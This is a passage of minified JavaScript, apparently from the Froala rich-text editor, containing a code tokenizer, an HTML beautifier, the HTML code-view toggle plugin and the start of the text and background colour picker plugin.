a=!0,o=!0,i=N;for("0"===r&&$<H&&/[Xxo]/.test(k.charAt($))?(o=a=!1,r+=k.charAt($),$+=1,i=/[o]/.test(k.charAt($))?M:O):(r="",$-=1);$<H&&i.test(k.charAt($));)r+=k.charAt($),$+=1,a&&$<H&&"."===k.charAt($)&&(r+=k.charAt($),$+=1,a=!1),o&&$<H&&/[Ee]/.test(k.charAt($))&&(r+=k.charAt($),($+=1)<H&&/[+-]/.test(k.charAt($))&&(r+=k.charAt($),$+=1),a=o=!1);return[r,"TK_WORD"]}if(j.isIdentifierStart(k.charCodeAt($-1))){if($<H)for(;j.isIdentifierChar(k.charCodeAt($))&&(r+=k.charAt($),($+=1)!==H););return"TK_DOT"===t.type||"TK_RESERVED"===t.type&&Z(t.text,["set","get"])||!Z(r,U)?[r,"TK_WORD"]:"in"===r?[r,"TK_OPERATOR"]:[r,"TK_RESERVED"]}if("("===r||"["===r)return[r,"TK_START_EXPR"];if(")"===r||"]"===r)return[r,"TK_END_EXPR"];if("{"===r)return[r,"TK_START_BLOCK"];if("}"===r)return[r,"TK_END_BLOCK"];if(" "===r)return[r,"TK_SEMICOLON"];if("/"===r){var s="";if("*"===k.charAt($)){$+=1,z.lastIndex=$;var l=z.exec(k);s="/*".concat(l[0]),$+=l[0].length;var c=function _(e){if(!e.match(V))return null;var t={};W.lastIndex=0;for(var n=W.exec(e);n;)t[n[1]]=n[2],n=W.exec(e);return t}(s);return c&&"start"===c.ignore&&(G.lastIndex=$,s+=(l=G.exec(k))[0],$+=l[0].length),[s=s.replace(j.lineBreak,"\n"),"TK_BLOCK_COMMENT",c]}if("/"===k.charAt($)){$+=1,K.lastIndex=$;var d=K.exec(k);return s="//".concat(d[0]),$+=d[0].length,[s,"TK_COMMENT"]}}if("`"===r||"'"===r||'"'===r||("/"===r||x.e4x&&"<"===r&&k.slice($-1).match(/^<([-a-zA-Z:0-9_.]+|{[^{}]*}|!\[CDATA\[[\s\S]*?\]\])(\s+[-a-zA-Z:0-9_.]+\s*=\s*('[^']*'|"[^"]*"|{.*?}))*\s*(\/?)\s*>/))&&("TK_RESERVED"===t.type&&Z(t.text,["return","case","throw","else","do","typeof","yield"])||"TK_END_EXPR"===t.type&&")"===t.text&&t.parent&&"TK_RESERVED"===t.parent.type&&Z(t.parent.text,["if","while","for"])||Z(t.type,["TK_COMMENT","TK_START_EXPR","TK_START_BLOCK","TK_END_BLOCK","TK_OPERATOR","TK_EQUALS","TK_EOF","TK_SEMICOLON","TK_COMMA"]))){var f=r,p=!1,u=!1;if(e=r,"/"===f)for(var h=!1;$<H&&(p||h||k.charAt($)!==f)&&!j.newline.test(k.charAt($));)e+=k.charAt($),p?p=!1:(p="\\"===k.charAt($),"["===k.charAt($)?h=!0:"]"===k.charAt($)&&(h=!1)),$+=1;else if(x.e4x&&"<"===f){var g=/<(\/?)([-a-zA-Z:0-9_.]+|{[^{}]*}|!\[CDATA\[[\s\S]*?\]\])(\s+[-a-zA-Z:0-9_.]+\s*=\s*('[^']*'|"[^"]*"|{.*?}))*\s*(\/?)\s*>/g,m=k.slice($-1),v=g.exec(m);if(v&&0===v.index){for(var b=v[2],C=0;v;){var E=!!v[1],y=v[2],L=!!v[v.length-1]||"![CDATA["===y.slice(0,8);if(y!==b||L||(E?--C:++C),C<=0)break;v=g.exec(m)}var T=v?v.index+v[0].length:m.length;return m=m.slice(0,T),$+=T-1,[m=m.replace(j.lineBreak,"\n"),"TK_STRING"]}}else for(;$<H&&(p||k.charAt($)!==f&&("`"===f||!j.newline.test(k.charAt($))));)(p||"`"===f)&&j.newline.test(k.charAt($))?("\r"===k.charAt($)&&"\n"===k.charAt($+1)&&($+=1),e+="\n"):e+=k.charAt($),p=p?("x"!==k.charAt($)&&"u"!==k.charAt($)||(u=!0),!1):"\\"===k.charAt($),$+=1;if(u&&x.unescape_strings&&(e=function S(e){var t,n=!1,r="",a=0,o="",i=0;for(;n||a<e.length;)if(t=e.charAt(a),a++,n){if(n=!1,"x"===t)o=e.substr(a,2),a+=2;else{if("u"!==t){r+="\\".concat(t);continue}o=e.substr(a,4),a+=4}if(!o.match(/^[0123456789abcdefABCDEF]+$/))return e;if(0<=(i=parseInt(o,16))&&i<32){r+="x"===t?"\\x".concat(o):"\\u".concat(o);continue}if(34===i||39===i||92===i)r+="\\".concat(String.fromCharCode(i));else{if("x"===t&&126<i&&i<=255)return e;r+=String.fromCharCode(i)}}else"\\"===t?n=!0:r+=t;return r}(e)),$<H&&k.charAt($)===f&&(e+=f,$+=1,"/"===f))for(;$<H&&j.isIdentifierStart(k.charCodeAt($));)e+=k.charAt($),$+=1;return[e,"TK_STRING"]}if("#"===r){if(0===P.length&&"!"===k.charAt($)){for(e=r;$<H&&"\n"!==r;)e+=r=k.charAt($),$+=1;return["".concat(q(e),"\n"),"TK_UNKNOWN"]}var w="#";if($<H&&N.test(k.charAt($))){for(;w+=r=k.charAt($),($+=1)<H&&"#"!==r&&"="!==r;);return"#"===r||("["===k.charAt($)&&"]"===k.charAt($+1)?(w+="[]",$+=2):"{"===k.charAt($)&&"}"===k.charAt($+1)&&(w+="{}",$+=2)),[w,"TK_WORD"]}}if("<"===r&&("?"===k.charAt($)||"%"===k.charAt($))){Y.lastIndex=$-1;var A=Y.exec(k);if(A)return r=A[0],$+=r.length-1,[r=r.replace(j.lineBreak,"\n"),"TK_STRING"]}if("<"===r&&"\x3c!--"===k.substring($-1,$+3)){for($+=3,r="\x3c!--";!j.newline.test(k.charAt($))&&$<H;)r+=k.charAt($),$++;return F=!0,[r,"TK_COMMENT"]}if("-"===r&&F&&"--\x3e"===k.substring($-1,$+2))return F=!1,$+=2,["--\x3e","TK_COMMENT"];if("."===r)return[r,"TK_DOT"];if(Z(r,I)){for(;$<H&&Z(r+k.charAt($),I)&&(r+=k.charAt($),!(H<=($+=1))););return","===r?[r,"TK_COMMA"]:"="===r?[r,"TK_EQUALS"]:[r,"TK_OPERATOR"]}return[r,"TK_UNKNOWN"]}this.tokenize=function(){var e,t,n;H=k.length,$=0,F=!1,P=[];for(var r=null,a=[],o=[];!t||"TK_EOF"!==t.type;){for(n=i(),e=new J(n[1],n[0],D,B);"TK_COMMENT"===e.type||"TK_BLOCK_COMMENT"===e.type||"TK_UNKNOWN"===e.type;)"TK_BLOCK_COMMENT"===e.type&&(e.directives=n[2]),o.push(e),n=i(),e=new J(n[1],n[0],D,B);o.length&&(e.comments_before=o,o=[]),"TK_START_BLOCK"===e.type||"TK_START_EXPR"===e.type?(e.parent=t,a.push(r),r=e):("TK_END_BLOCK"===e.type||"TK_END_EXPR"===e.type)&&r&&("]"===e.text&&"["===r.text||")"===e.text&&"("===r.text||"}"===e.text&&"{"===r.text)&&(e.parent=r.parent,r=a.pop()),P.push(e),t=e}return P}}return{run:function N(e,t){function i(e){return e.replace(/\s+$/g,"")}var n,r,a,m,o,s,v,l,c,b,C,E,d,f;for((t=t||{}).wrap_line_length!==undefined&&0!==parseInt(t.wrap_line_length,10)||t.max_char===undefined||0===parseInt(t.max_char,10)||(t.wrap_line_length=t.max_char),r=t.indent_inner_html!==undefined&&t.indent_inner_html,a=t.indent_size===undefined?4:parseInt(t.indent_size,10),m=t.indent_char===undefined?" ":t.indent_char,s=t.brace_style===undefined?"collapse":t.brace_style,o=0===parseInt(t.wrap_line_length,10)?32786:parseInt(t.wrap_line_length||250,10),v=t.unformatted||["a","span","img","bdo","em","strong","dfn","code","samp","kbd","const","cite","abbr","acronym","q","sub","sup","tt","i","b","big","small","u","s","strike","font","ins","del","address","pre"],l=t.preserve_newlines===undefined||t.preserve_newlines,c=l?isNaN(parseInt(t.max_preserve_newlines,10))?32786:parseInt(t.max_preserve_newlines,10):0,b=t.indent_handlebars!==undefined&&t.indent_handlebars,C=t.wrap_attributes===undefined?"auto":t.wrap_attributes,E=t.wrap_attributes_indent_size===undefined?a:parseInt(t.wrap_attributes_indent_size,10)||a,d=t.end_with_newline!==undefined&&t.end_with_newline,f=Array.isArray(t.extra_liners)?t.extra_liners.concat():"string"==typeof t.extra_liners?t.extra_liners.split(","):"head,body,/html".split(","),t.indent_with_tabs&&(m="\t",a=1),(n=new function k(){return this.pos=0,this.token="",this.current_mode="CONTENT",this.tags={parent:"parent1",parentcount:1,parent1:""},this.tag_type="",this.token_text=this.last_token=this.last_text=this.token_type="",this.newlines=0,this.indent_content=r,this.Utils={whitespace:"\n\r\t ".split(""),single_token:"br,input,link,meta,source,!doctype,basefont,base,area,hr,wbr,param,img,isindex,embed".split(","),extra_liners:f,in_array:function(e,t){for(var n=0;n<t.length;n++)if(e===t[n])return!0;return!1}},this.is_whitespace=function(e){for(;0<e.length;e++)if(!this.Utils.in_array(e.charAt(0),this.Utils.whitespace))return!1;return!0},this.traverse_whitespace=function(){var e="";if(e=this.input.charAt(this.pos),this.Utils.in_array(e,this.Utils.whitespace)){for(this.newlines=0;this.Utils.in_array(e,this.Utils.whitespace);)l&&"\n"===e&&this.newlines<=c&&(this.newlines+=1),this.pos++,e=this.input.charAt(this.pos);return!0}return!1},this.space_or_wrap=function(e){this.line_char_count>=this.wrap_line_length?(this.print_newline(!1,e),this.print_indentation(e)):(this.line_char_count++,e.push(" "))},this.get_content=function(){for(var e="",t=[];"<"!=this.input.charAt(this.pos);){if(this.pos>=this.input.length)return t.length?t.join(""):["","TK_EOF"];if(this.traverse_whitespace())this.space_or_wrap(t);else{if(b){var n=this.input.substr(this.pos,3);if("{{#"===n||"{{/"===n)break;if("{{!"===n)return[this.get_tag(),"TK_TAG_HANDLEBARS_COMMENT"];if("{{"===this.input.substr(this.pos,2)&&"{{else}}"===this.get_tag(!0))break}e=this.input.charAt(this.pos),this.pos++,this.line_char_count++,t.push(e)}}return t.length?t.join(""):""},this.get_contents_to=function(e){if(this.pos===this.input.length)return["","TK_EOF"];var t="",n=new RegExp("</".concat(e,"\\s*>"),"igm");n.lastIndex=this.pos;var r=n.exec(this.input),a=r?r.index:this.input.length;return this.pos<a&&(t=this.input.substring(this.pos,a),this.pos=a),t},this.record_tag=function(e){this.tags["".concat(e,"count")]?this.tags["".concat(e,"count")]++:this.tags["".concat(e,"count")]=1,this.tags[e+this.tags["".concat(e,"count")]]=this.indent_level,this.tags[e+this.tags["".concat(e,"count")]+"parent"]=this.tags.parent,this.tags.parent=e+this.tags["".concat(e,"count")]},this.retrieve_tag=function(e){if(this.tags["".concat(e,"count")]){for(var t=this.tags.parent;t&&e+this.tags["".concat(e,"count")]!==t;)t=this.tags["".concat(t,"parent")];t&&(this.indent_level=this.tags[e+this.tags["".concat(e,"count")]],this.tags.parent=this.tags[t+"parent"]),delete this.tags[e+this.tags["".concat(e,"count")]+"parent"],delete this.tags[e+this.tags["".concat(e,"count")]],1===this.tags["".concat(e,"count")]?delete this.tags["".concat(e,"count")]:this.tags["".concat(e,"count")]--}},this.indent_to_tag=function(e){if(this.tags["".concat(e,"count")]){for(var t=this.tags.parent;t&&e+this.tags["".concat(e,"count")]!==t;)t=this.tags["".concat(t,"parent")];t&&(this.indent_level=this.tags[e+this.tags["".concat(e,"count")]])}},this.get_tag=function(e){var t,n,r="",a=[],o="",i=!1,s=!0,l=this.pos,c=this.line_char_count;e=e!==undefined&&e;do{if(this.pos>=this.input.length)return e&&(this.pos=l,this.line_char_count=c),a.length?a.join(""):["","TK_EOF"];if(r=this.input.charAt(this.pos),this.pos++,this.Utils.in_array(r,this.Utils.whitespace))i=!0;else{if("'"!==r&&'"'!==r||(r+=this.get_unformatted(r),i=!0),"="===r&&(i=!1),a.length&&"="!=a[a.length-1]&&">"!=r&&i){if(this.space_or_wrap(a),i=!1,!s&&"force"===C&&"/"!=r){this.print_newline(!0,a),this.print_indentation(a);for(var d=0;d<E;d++)a.push(m)}for(var f=0;f<a.length;f++)if(" "===a[f]){s=!1;break}}if(b&&"<"===n&&r+this.input.charAt(this.pos)==="{{"&&(r+=this.get_unformatted("}}"),a.length&&" "!=a[a.length-1]&&"<"!=a[a.length-1]&&(r=" ".concat(r)),i=!0),"<"!==r||n||(t=this.pos-1,n="<"),b&&!n&&2<=a.length&&"{"===a[a.length-1]&&"{"===a[a.length-2]&&(t="#"===r||"/"===r||"!"===r?this.pos-3:this.pos-2,n="{"),this.line_char_count++,a.push(r),a[1]&&("!"===a[1]||"?"===a[1]||"%"===a[1])){a=[this.get_comment(t)];break}if(b&&a[1]&&"{"===a[1]&&a[2]&&"!"===a[2]){a=[this.get_comment(t)];break}if(b&&"{"===n&&2<a.length&&"}"===a[a.length-2]&&"}"===a[a.length-1])break}}while(">"!=r);var p,u,h=a.join("");p=-1!=h.indexOf(" ")?h.indexOf(" "):"{"===h[0]?h.indexOf("}"):h.indexOf(">"),u="<"!==h[0]&&b?"#"===h[2]?3:2:1;var g=h.substring(u,p).toLowerCase();return"/"===h.charAt(h.length-2)||this.Utils.in_array(g,this.Utils.single_token)?e||(this.tag_type="SINGLE"):b&&"{"===h[0]&&"else"===g?e||(this.indent_to_tag("if"),this.tag_type="HANDLEBARS_ELSE",this.indent_content=!0,this.traverse_whitespace()):this.is_unformatted(g,v)?(o=this.get_unformatted("</".concat(g,">"),h),a.push(o),this.pos,this.tag_type="SINGLE"):"script"===g&&(-1===h.search("type")||-1<h.search("type")&&-1<h.search(/\b(text|application)\/(x-)?(javascript|ecmascript|jscript|livescript)/))?e||(this.record_tag(g),this.tag_type="SCRIPT"):"style"===g&&(-1===h.search("type")||-1<h.search("type")&&-1<h.search("text/css"))?e||(this.record_tag(g),this.tag_type="STYLE"):"!"===g.charAt(0)?e||(this.tag_type="SINGLE",this.traverse_whitespace()):e||("/"===g.charAt(0)?(this.retrieve_tag(g.substring(1)),this.tag_type="END"):(this.record_tag(g),"html"!=g.toLowerCase()&&(this.indent_content=!0),this.tag_type="START"),this.traverse_whitespace()&&this.space_or_wrap(a),this.Utils.in_array(g,this.Utils.extra_liners)&&(this.print_newline(!1,this.output),this.output.length&&"\n"!=this.output[this.output.length-2]&&this.print_newline(!0,this.output))),e&&(this.pos=l,this.line_char_count=c),a.join("")},this.get_comment=function(e){var t="",n=">",r=!1;this.pos=e;var a=this.input.charAt(this.pos);for(this.pos++;this.pos<=this.input.length&&((t+=a)[t.length-1]!==n[n.length-1]||-1==t.indexOf(n));)!r&&t.length<10&&(0===t.indexOf("<![if")?(n="<![endif]>",r=!0):0===t.indexOf("<![cdata[")?(n="]]>",r=!0):0===t.indexOf("<![")?(n="]>",r=!0):0===t.indexOf("\x3c!--")?(n="--\x3e",r=!0):0===t.indexOf("{{!")?(n="}}",r=!0):0===t.indexOf("<?")?(n="?>",r=!0):0===t.indexOf("<%")&&(n="%>",r=!0)),a=this.input.charAt(this.pos),this.pos++;return t},this.get_unformatted=function(e,t){if(t&&-1!=t.toLowerCase().indexOf(e))return"";var n="",r="",a=0,o=!0;do{if(this.pos>=this.input.length)return r;if(n=this.input.charAt(this.pos),this.pos++,this.Utils.in_array(n,this.Utils.whitespace)){if(!o){this.line_char_count--;continue}if("\n"===n||"\r"===n){r+="\n",this.line_char_count=0;continue}}r+=n,this.line_char_count++,o=!0,b&&"{"===n&&r.length&&"{"===r[r.length-2]&&(a=(r+=this.get_unformatted("}}")).length)}while(-1===r.toLowerCase().indexOf(e,a));return r},this.get_token=function(){var e;if("TK_TAG_SCRIPT"!==this.last_token&&"TK_TAG_STYLE"!==this.last_token)return"CONTENT"===this.current_mode?"string"!=typeof(e=this.get_content())?e:[e,"TK_CONTENT"]:"TAG"===this.current_mode?"string"!=typeof(e=this.get_tag())?e:[e,"TK_TAG_".concat(this.tag_type)]:void 0;var t=this.last_token.substr(7);return"string"!=typeof(e=this.get_contents_to(t))?e:[e,"TK_".concat(t)]},this.get_full_indent=function(e){return(e=this.indent_level+e||0)<1?"":new Array(e+1).join(this.indent_string)},this.is_unformatted=function(e,t){if(!this.Utils.in_array(e,t))return!1;if("a"!=e.toLowerCase()||!this.Utils.in_array("a",t))return!0;var n=(this.get_tag(!0)||"").match(/^\s*<\s*\/?([a-z]*)\s*[^>]*>\s*$/);return!(n&&!this.Utils.in_array(n,t))},this.printer=function(e,t,n,r,a){this.input=e||"",this.output=[],this.indent_character=t,this.indent_string="",this.indent_size=n,this.brace_style=a,this.indent_level=0,this.wrap_line_length=r;for(var o=this.line_char_count=0;o<this.indent_size;o++)this.indent_string+=this.indent_character;this.print_newline=function(e,t){this.line_char_count=0,t&&t.length&&(e||"\n"!=t[t.length-1])&&("\n"!=t[t.length-1]&&(t[t.length-1]=i(t[t.length-1])),t.push("\n"))},this.print_indentation=function(e){for(var t=0;t<this.indent_level;t++)e.push(this.indent_string),this.line_char_count+=this.indent_string.length},this.print_token=function(e){this.is_whitespace(e)&&!this.output.length||((e||""!==e)&&this.output.length&&"\n"===this.output[this.output.length-1]&&(this.print_indentation(this.output),e=function t(e){return e.replace(/^\s+/g,"")}(e)),this.print_token_raw(e))},this.print_token_raw=function(e){0<this.newlines&&(e=i(e)),e&&""!==e&&(1<e.length&&"\n"===e[e.length-1]?(this.output.push(e.slice(0,-1)),this.print_newline(!1,this.output)):this.output.push(e));for(var t=0;t<this.newlines;t++)this.print_newline(0<t,this.output);this.newlines=0},this.indent=function(){this.indent_level++},this.unindent=function(){0<this.indent_level&&this.indent_level--}},this}).printer(e,m,a,o,s);;){var p=n.get_token();if(n.token_text=p[0],n.token_type=p[1],"TK_EOF"===n.token_type)break;switch(n.token_type){case"TK_TAG_START":n.print_newline(!1,n.output),n.print_token(n.token_text),n.indent_content&&(n.indent(),n.indent_content=!1),n.current_mode="CONTENT";break;case"TK_TAG_STYLE":case"TK_TAG_SCRIPT":n.print_newline(!1,n.output),n.print_token(n.token_text),n.current_mode="CONTENT";break;case"TK_TAG_END":if("TK_CONTENT"===n.last_token&&""===n.last_text){var u=n.token_text.match(/\w+/)[0],h=null;n.output.length&&(h=n.output[n.output.length-1].match(/(?:<|{{#)\/?\s*(\w+)/)),(null===h||h[1]!=u&&!n.Utils.in_array(h[1],v))&&n.print_newline(!1,n.output)}n.print_token(n.token_text),n.current_mode="CONTENT";break;case"TK_TAG_SINGLE":var g=n.token_text.match(/^\s*<([a-z-]+)/i);g&&n.Utils.in_array(g[1],v)||n.print_newline(!1,n.output),n.print_token(n.token_text),n.current_mode="CONTENT";break;case"TK_TAG_HANDLEBARS_ELSE":n.print_token(n.token_text),n.indent_content&&(n.indent(),n.indent_content=!1),n.current_mode="CONTENT";break;case"TK_TAG_HANDLEBARS_COMMENT":case"TK_CONTENT":n.print_token(n.token_text),n.current_mode="TAG";break;case"TK_STYLE":case"TK_SCRIPT":if(""!==n.token_text){n.print_newline(!1,n.output);var y=n.token_text,L=void 0,T=1;"TK_SCRIPT"===n.token_type?L=R:"TK_STYLE"===n.token_type&&(L=x),"keep"===t.indent_scripts?T=0:"separate"===t.indent_scripts&&(T=-n.indent_level);var w=n.get_full_indent(T);if(L)y=L(y.replace(/^\s*/,w),t);else{var A=y.match(/^\s*/)[0].match(/[^\n\r]*$/)[0].split(n.indent_string).length-1,_=n.get_full_indent(T-A);y=y.replace(/^\s*/,w).replace(/\r\n|\r|\n/g,"\n"+_).replace(/\s+$/,"")}y&&(n.print_token_raw(y),n.print_newline(!0,n.output))}n.current_mode="TAG";break;default:""!==n.token_text&&n.print_token(n.token_text)}n.last_token=n.token_type,n.last_text=n.token_text}var S=n.output.join("").replace(/[\r\n\t ]+$/,"");return d&&(S+="\n"),S}}},Object.assign(kt.DEFAULTS,{codeMirror:window.CodeMirror,codeMirrorOptions:{lineNumbers:!0,tabMode:"indent",indentWithTabs:!0,lineWrapping:!0,mode:"text/html",tabSize:2},codeBeautifierOptions:{end_with_newline:!0,indent_inner_html:!0,extra_liners:["p","h1","h2","h3","h4","h5","h6","blockquote","pre","ul","ol","table","dl"],brace_style:"expand",indent_char:"\t",indent_size:1,wrap_line_length:0},codeViewKeepActiveButtons:["fullscreen"]}),kt.PLUGINS.codeView=function(c){var d,f,p=c.$,u=function u(){return c.$box.hasClass("fr-code-view")};function h(){return f?f.getValue():d.val()}function g(){u()&&(f&&f.setSize(null,c.opts.height?c.opts.height:"auto"),c.opts.heightMin||c.opts.height?(c.$box.find(".CodeMirror-scroll, .CodeMirror-gutters").css("min-height",c.opts.heightMin||c.opts.height),d.css("height",c.opts.height)):c.$box.find(".CodeMirror-scroll, .CodeMirror-gutters").css("min-height",""))}var m,v=!1;function b(){u()&&c.events.trigger("blur")}function C(){u()&&v&&c.events.trigger("focus")}function r(e){d||(!function l(){d=p('<textarea class="fr-code" tabIndex="-1">'),c.$wp.append(d),d.attr("dir",c.opts.direction),c.$box.hasClass("fr-basic")||(m=p('<a data-cmd="html" title="Code View" class="fr-command fr-btn html-switch'.concat(c.helpers.isMobile()?"":" fr-desktop",'" role="button" tabIndex="-1"><i class="fa fa-code"></i></button>')),c.$box.append(m),c.events.bindClick(c.$box,"a.html-switch",function(){c.events.trigger("commands.before",["html"]),E(!1),c.events.trigger("commands.after",["html"])}));var e=function e(){return!u()};c.events.on("buttons.refresh",e),c.events.on("copy",e,!0),c.events.on("cut",e,!0),c.events.on("paste",e,!0),c.events.on("destroy",y,!0),c.events.on("html.set",function(){u()&&E(!0)}),c.events.on("codeView.update",g),c.events.on("codeView.toggle",function(){c.$box.hasClass("fr-code-view")&&E()}),c.events.on("form.submit",function(){u()&&(c.html.set(h()),c.events.trigger("contentChanged",[],!0))},!0)}(),!f&&c.opts.codeMirror?((f=c.opts.codeMirror.fromTextArea(d.get(0),c.opts.codeMirrorOptions)).on("blur",b),f.on("focus",C)):(c.events.$on(d,"keydown keyup change input",function(){c.opts.height?this.removeAttribute("rows"):(this.rows=1,0===this.value.length?this.style.height="auto":this.style.height="".concat(this.scrollHeight,"px"))}),c.events.$on(d,"blur",b),c.events.$on(d,"focus",C))),c.undo.saveStep(),c.html.cleanEmptyTags(),c.html.cleanWhiteTags(!0),c.core.hasFocus()&&(c.core.isEmpty()||(c.selection.save(),c.$el.find('.fr-marker[data-type="true"]').first().replaceWith('<span class="fr-tmp fr-sm">F</span>'),c.$el.find('.fr-marker[data-type="false"]').last().replaceWith('<span class="fr-tmp fr-em">F</span>')));var t=c.html.get(!1,!0);c.$el.find("span.fr-tmp").remove(),c.$box.toggleClass("fr-code-view",!0);var n,r,a=!1;if(c.core.hasFocus()&&(a=!0,c.events.disableBlur(),c.$el.blur()),t=(t=t.replace(/<span class="fr-tmp fr-sm">F<\/span>/,"FROALA-SM")).replace(/<span class="fr-tmp fr-em">F<\/span>/,"FROALA-EM"),c.codeBeautifier&&!t.includes("fr-embedly")&&(t=c.codeBeautifier.run(t,c.opts.codeBeautifierOptions)),f){n=t.indexOf("FROALA-SM"),(r=t.indexOf("FROALA-EM"))<n?n=r:r-=9;var o=(t=t.replace(/FROALA-SM/g,"").replace(/FROALA-EM/g,"")).substring(0,n).length-t.substring(0,n).replace(/\n/g,"").length,i=t.substring(0,r).length-t.substring(0,r).replace(/\n/g,"").length;n=t.substring(0,n).length-t.substring(0,t.substring(0,n).lastIndexOf("\n")+1).length,r=t.substring(0,r).length-t.substring(0,t.substring(0,r).lastIndexOf("\n")+1).length,f.setSize(null,c.opts.height?c.opts.height:"auto"),c.opts.heightMin&&c.$box.find(".CodeMirror-scroll").css("min-height",c.opts.heightMin),f.setValue(t),v=!a,f.focus(),v=!0,f.setSelection({line:o,ch:n},{line:i,ch:r}),f.refresh(),f.clearHistory()}else{n=t.indexOf("FROALA-SM"),r=t.indexOf("FROALA-EM")-9,c.opts.heightMin&&d.css("min-height",c.opts.heightMin),c.opts.height&&d.css("height",c.opts.height),c.opts.heightMax&&d.css("max-height",c.opts.height||c.opts.heightMax),d.val(t.replace(/FROALA-SM/g,"").replace(/FROALA-EM/g,"")).trigger("change");var s=p(c.o_doc).scrollTop();v=!a,d.focus(),v=!0,d.get(0).setSelectionRange(n,r),p(c.o_doc).scrollTop(s)}c.$tb.find(".fr-btn-grp > .fr-command, .fr-more-toolbar > .fr-command, .fr-btn-grp > .fr-btn-wrap > .fr-command, .fr-more-toolbar > .fr-btn-wrap > .fr-command").not(e).filter(function(){return c.opts.codeViewKeepActiveButtons.indexOf(p(this).data("cmd"))<0}).addClass("fr-disabled").attr("aria-disabled",!0),e.addClass("fr-active").attr("aria-pressed",!0),!c.helpers.isMobile()&&c.opts.toolbarInline&&c.toolbar.hide()}function E(e){void 0===e&&(e=!u());var t=c.$tb.find('.fr-command[data-cmd="html"]');e?(c.popups.hideAll(),r(t)):(c.$box.toggleClass("fr-code-view",!1),function n(e){var t=h();c.html.set(t),c.$el.blur(),c.$tb.find(".fr-btn-grp > .fr-command, .fr-more-toolbar > .fr-command, .fr-btn-grp > .fr-btn-wrap > .fr-command, .fr-more-toolbar > .fr-btn-wrap > .fr-command").not(e).removeClass("fr-disabled").attr("aria-disabled",!1),e.removeClass("fr-active").attr("aria-pressed",!1),c.selection.setAtStart(c.el),c.selection.restore(),c.placeholder.refresh(),c.undo.saveStep()}(t),c.events.trigger("codeView.update"))}function y(){u()&&E(!1),f&&f.toTextArea(),d.val("").removeData().remove(),d=null,m&&(m.remove(),m=null)}return{_init:function e(){if(c.events.on("focus",function(){c.opts.toolbarContainer&&function t(){var e=c.$tb.find('.fr-command[data-cmd="html"]');u()?(c.$tb.find(".fr-btn-grp > .fr-command, .fr-more-toolbar > .fr-command").not(e).filter(function(){return c.opts.codeViewKeepActiveButtons.indexOf(p(this).data("cmd"))<0}).addClass("fr-disabled").attr("aria-disabled",!1),e.addClass("fr-active").attr("aria-pressed",!1)):(c.$tb.find(".fr-btn-grp > .fr-command, .fr-more-toolbar > .fr-command").not(e).removeClass("fr-disabled").attr("aria-disabled",!1),e.removeClass("fr-active").attr("aria-pressed",!1))}()}),!c.$wp)return!1},toggle:E,isActive:u,get:h}},kt.RegisterCommand("html",{title:"Code View",undo:!1,focus:!1,forcedRefresh:!0,toggle:!0,callback:function(){this.codeView.toggle()},plugin:"codeView"}),kt.DefineIcon("html",{NAME:"code",SVG_KEY:"codeView"}),Object.assign(kt.POPUP_TEMPLATES,{"textColor.picker":"[_BUTTONS_][_TEXT_COLORS_][_CUSTOM_COLOR_]","backgroundColor.picker":"[_BUTTONS_][_BACKGROUND_COLORS_][_CUSTOM_COLOR_]"}),Object.assign(kt.DEFAULTS,{colorsText:["#61BD6D","#1ABC9C","#54ACD2","#2C82C9","#9365B8","#475577","#CCCCCC","#41A85F","#00A885","#3D8EB9","#2969B0","#553982","#28324E","#000000","#F7DA64","#FBA026","#EB6B56","#E25041","#A38F84","#EFEFEF","#FFFFFF","#FAC51C","#F37934","#D14841","#B8312F","#7C706B","#D1D5D8","REMOVE"],colorsBackground:["#61BD6D","#1ABC9C","#54ACD2","#2C82C9","#9365B8","#475577","#CCCCCC","#41A85F","#00A885","#3D8EB9","#2969B0","#553982","#28324E","#000000","#F7DA64","#FBA026","#EB6B56","#E25041","#A38F84","#EFEFEF","#FFFFFF","#FAC51C","#F37934","#D14841","#B8312F","#7C706B","#D1D5D8","REMOVE"],colorsStep:7,colorsHEXInput:!0,colorsButtons:["colorsBack","|","-"]}),kt.PLUGINS.colors=function(m){var v=m.$,s='<div class="fr-color-hex-layer fr-active fr-layer" id="fr-color-hex-layer- \n '.concat(m.id,'"><div class="fr-input-line"><input maxlength="7" id="[ID]"\n type="text" placeholder="').concat(m.language.translate("HEX Color"),'" \n tabIndex="1" aria-required="true"></div><div class="fr-action-buttons"><button \n type="button" class="fr-command fr-submit" data-cmd="[COMMAND]" tabIndex="2" role="button">\n ').concat(m.language.translate("OK"),"</button></div></div>");function l(e){for(var t="text"===e?m.opts.colorsText:m.opts.colorsBackground,n='<div class="fr-color-set fr-'.concat(e,'-color fr-selected-set">'),r=0;r<t.length;r++)0!==r&&r%m.opts.colorsStep==0&&(n+="<br>"),"REMOVE"!==t[r]?n+='<span class="fr-command fr-select-color" style="background:'.concat(t[r],';" \n tabIndex="-1" aria-selected="false" role="button" data-cmd="apply').concat(e,'Color" \n data-param1="').concat(t[r],'"><span class="fr-sr-only"> ').concat(m.language.translate("Color")).concat(t[r]," \n </span></span>"):n+='<span class="fr-command fr-select-color" data-cmd="apply'.concat(e,'Color"\n tabIndex="-1" role="button" data-param1="REMOVE" \n title="').concat(m.language.translate("Clear Formatting"),'">').concat(m.icon.create("remove"),' \n <span class="fr-sr-only"> ').concat(m.language.translate("Clear Formatting")," </span></span>");return"".concat(n,"</div>")}function c(e){var t,n=m.popups.get("".concat(e,"Color.picker")),r=v(m.selection.element());t="background"===e?"background-color":"color";var a=n.find(".fr-".concat(e,"-color .fr-select-color"));for(a.find(".fr-selected-color").remove(),a.removeClass("fr-active-item"),a.not('[data-param1="REMOVE"]').attr("aria-selected",!1);r.get(0)!==m.el;){if("transparent"!==r.css(t)&&"rgba(0, 0, 0, 0)"!==r.css(t)){var o=n.find(".fr-".concat(e,'-color .fr-select-color[data-param1="').concat(m.helpers.RGBToHex(r.css(t)),'"]'));o.append('<span class="fr-selected-color" aria-hidden="true">\uf00c</span>'),o.addClass("fr-active-item").attr("aria-selected",!0);break}r=r.parent()}!function i(e){var t=m.popups.get("".concat(e,"Color.picker")),n=t.find(".fr-".concat(e,"-color .fr-active-item")).attr("data-param1"),r=t.find(".fr-color-hex-layer input");n||(n="");r.length&&v(r.val(n).input).trigger("change")}(e)}function r(e){"REMOVE"!==e?m.format.applyStyle("background-color",m.helpers.HEXtoRGB(e)):m.format.removeStyle("background-color"),m.popups.hide("backgroundColor.picker")}function a(e){"REMOVE"!==e?m.format.applyStyle("color",m.helpers.HEXtoRGB(e)):m.format.removeStyle("color"),m.popups.hide("textColor.picker")}return{showColorsPopup:function d(e){var 